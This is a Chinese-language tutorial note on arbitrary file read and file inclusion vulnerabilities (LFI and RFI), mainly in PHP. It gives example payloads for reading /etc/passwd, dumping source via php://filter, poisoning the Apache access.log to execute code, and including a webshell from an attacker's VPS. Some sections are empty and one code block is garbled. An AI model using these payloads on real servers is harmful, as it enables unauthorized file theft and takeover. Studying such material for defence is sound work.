任意文件包含漏洞
简介
任意文件读取漏洞是通过一些手段可以读取服务器上开发者不允许读到的文件。
主要包括的文件类型有:
- 服务器的各种配置文件
- 以文件形式存储的密钥
- 服务器信息
- 正在执行的进程信息
- ……
- 历史命令
- 网络信息
- 应用源码及二进制程序
- ……
以上文件内容通过任意文件读取漏洞可以作为信息收集的强有力的补充。
任意文件读取漏洞的成因:
- 开发人员对于意外情况考虑不足所致,从本质上来看文件读取漏洞的存在与不是语言本身的问题。
- 对于Web应用框架或中间件的二次开发中不了解其安全机制,造成任意文件读取漏洞的形成。
- 主要漏洞挖掘的方式是通过“调用链”进行溯源。
- 由Web Server自身的问题或不安全的服务器配置导致的任意文件读取漏洞
- Web Server运行的基本机制是从服务器中读取代码或资源文件,再把代码类文件传送给解释器或CGI程序执行,然后将执行的结果和资源文件反馈给客户端用户,而存在于其中的众多文件操作很可能被攻击者干预,进而造成诸如非预期读取文件、错误地把代码类文件当作资源文件等情况的发生。
漏洞触发点
Web语言相关
不同Web语言由于语言上的特性,导致存在任意文件包含漏洞时的漏洞触发点不同。
PHP
作为世界上最好的语言,PHP的任意文件读取漏洞触发点可以分为
函数相关
PHP标准函数中与文件操作相关的函数
- file_get_contents()
- file()
- fopen()
- 与文件包含相关的函数:
- include()
- required()
- ……
- 系统命令执行函数
- system()
- exec()
- ……
PHP拓展中与文件相关的函数
例如:
- PHP-curl拓展
- ……
协议(Wrapper)相关
与其他语言不同,PHP打开文件的方式不仅仅是简单的路径,而是通过文件流的方式打开文件。
可以简单的理解为PHP提供了一套协议来完成文件的打开。最有特色的就是:php://
协议。
PHP中还提供了接口供开发者编写自己的Warrper(stream_wrapper_register)
Filter机制
Filter机制的作用是对目前的Warrper进行一定的处理。
对于自定义的Wrapper而言,Filter需要开发者通过stream_filter_register进行注册。而PHP内置的一些Wrapper会自带一些Filter。
假设服务端include函数的路径参数可控,正常情况下它会将目标文件当作PHP文件去解析,如果解析的文件中存在“<?php”等PHP的相关标签,那么标签中的内容会被作为PHP代码执行,这样php文件的内容就无法作为可视文本形式泄露,通过使用Filter可以避免这种情况。
比较常见的Base64相关的Filter可将文件流编码成Base64的形式,这样读取的文件内容中就不会存在PHP标签。
如果服务端开启了远程文件包含选项allow_url_include,我们就可以直接执行远程PHP代码。
当然,这些PHP默认携带的Wrapper和Filter都可以通过php.ini禁用。
PHP文件包含的实际情况
- 文件路径前面可控后面不可控
- 使用
%00
截断,将不可控后部截掉。 - 若存在文件上传功能可尝试使用zip或phar进行文件包含进而执行PHP代码。
- 使用
- 文件路径后面可控前面不可控
- 使用
../
进行目录穿越,进而直接读取文件。 - 如果服务端是利用include等文件包含类的函数,则无法读取PHP文件中的PHP代码。
- 使用
- 文件路径中间可控
- 类似第一种,但是不能使用Wrapper进行文件包含。
Python
Python的Web应用更多地倾向于通过其自身的模块启动服务,同时搭配中间件、代理服务将整个Web应用呈现给用户。
用户和Web应用交互的过程本身就包含对服务器资源文件的请求,所以容易出现非预期读取文件的情况。
因此,层出不穷的Python某框架任意文件包含漏洞也是因为缺乏统一的资源文件交互的标准。
非预期请求
Python的任意文件包含漏洞经常出现在请求静态资源文件的部分,也就是最后读取文件内容的open函数,原因是开发者常常忽略Python函数的feature。目录穿越
很多开发者通过判断用户传入的路径不包含.
来保证用户在读取资源时不会发生目录穿越,随后将用户的输入代入os.path.join
的第二个参数,但是如果用户传入/
,则依然可以穿越到根目录,进而导致任意文件包含。
很多涉及文件操作的应用也很有可能因为滥用open函数、模板的不当渲染导致任意文件包含。
比如,将用户输入的某些数据作为文件名的一部分(常见于认证服务或者日志服务)存储在服务器中,在取文件内容的部分也通过将经过处理的用户输入数据作为索引去查找相关文件,这就给了攻击者一个进行目录穿越的途径。
不安全解压导致文件覆盖
- Python开发者调用不安全的解压模块进行压缩文件解压,而导致文件解压后可进行目录穿越。解压文件时的目录穿越的危害是覆写服务器已有文件(特别是配置文件)
- 攻击者构造软链接放入压缩包,解压后的内容会直接指向服务器相应文件,攻击者访问解压后的链接文件会返回链接指向文件的相应内容。
其他
此外,Python的模板注入、反序列化等漏洞都可造成一定程度的任意文件包含,当然,其最大危害仍然是导致任意命令执行。
Java
Ruby
Node
中间件、服务器相关
- 中间件、服务器的错误配置导致文件读取漏洞
- 数据库的不恰当权限管理导致结合
load_file()
函数(或者load data infile)导致任意文件包含漏洞 - 上传软链接实现任意文件包含
- ……
客户端相关
客户端也存在文件包含漏洞,大多是基于XSS漏洞包含本地文件。
- 浏览器/Flash XSS
- MarkDown语法解析器XS
文件包含漏洞的产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
主要有两种情况:
- 当被包含的文件在服务器本地时,就形成了本地文件包含漏洞。
- 服务器远程包含一个恶意文件时,就形成了远程文件包含漏洞。
漏洞利用及其利用条件
LFI
Local File Include(本地文件包含漏洞)
利用条件
- include()等函数通过动态变量的方式引入包含文件;
- 用户能够控制该动态变量。
利用方式
读取敏感文件
[url]?arg=/etc/passwd
通过对敏感文件的读取,获得服务器信息,可作为信息收集的强有力补充。
利用封装协议读取源码
[url]?arg=php://filter/read=convert.base64-encode/resource=config.php
通过对php伪协议中的filter机制的利用,绕过对php文件的解析,获得源码的base64编码,解码后可查看源码
包含图片GetShell
在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码截断包含
同前面介绍的情况类似1. 文件路径前面可控后面不可控 - 使用`%00`截断,将不可控后部截掉。 - 若存在文件上传功能可尝试使用zip或phar进行文件包含进而执行PHP代码。 1. 文件路径后面可控前面不可控 - 使用`../`进行目录穿越,进而直接读取文件。 - 如果服务端是利用include等文件包含类的函数,则无法读取PHP文件中的PHP代码。 1. 文件路径中间可控 - 类似第一种,但是不能使用Wrapper进行文件包含。
包含Apache日志Getshell
条件:知道日志文件access.log的存放位置 ,默认位置:/var/log/httpd/access.log
access.log
文件记录了客户端每次请求的相关信息; 当我们访问一个不存在的资源时access.log
文件仍然会记录这条资源信息。如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,我们就可以尝试访问
http://www.vuln.com/<?php phpinfo(); ?>
Apache会将这条信息记录在
access.log
文件中,这时如果我们访问access.log
文件,就会触发文件包含漏洞。理论上是这样的,但是实际上却是输入的代码被转义无法解析。攻击者可以通过
burpsuite
进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。这时再查看Apache日志文件,显示的就是正常的测试代码。这时访问:
http://www.vuln.com/index.php?arg=/var/log/httpd/access.log
,即可成功执行代码
RFI
Remote File Include(远程文件包含漏洞 )
利用条件
php.ini
中开启allow_url_include
、allow_url_fopen
选项。
利用方式
- 远程包含WebShell
shell.txt内容为?arg=http://攻击者的VPS/shell.txt #会在网站目录生成名为 shell.php 的一句话木马
```php‘);
?>
2. ……
在PHP中,文件包含用到的函数
```php
include() //使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
inclue_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
require() //使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once() //功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。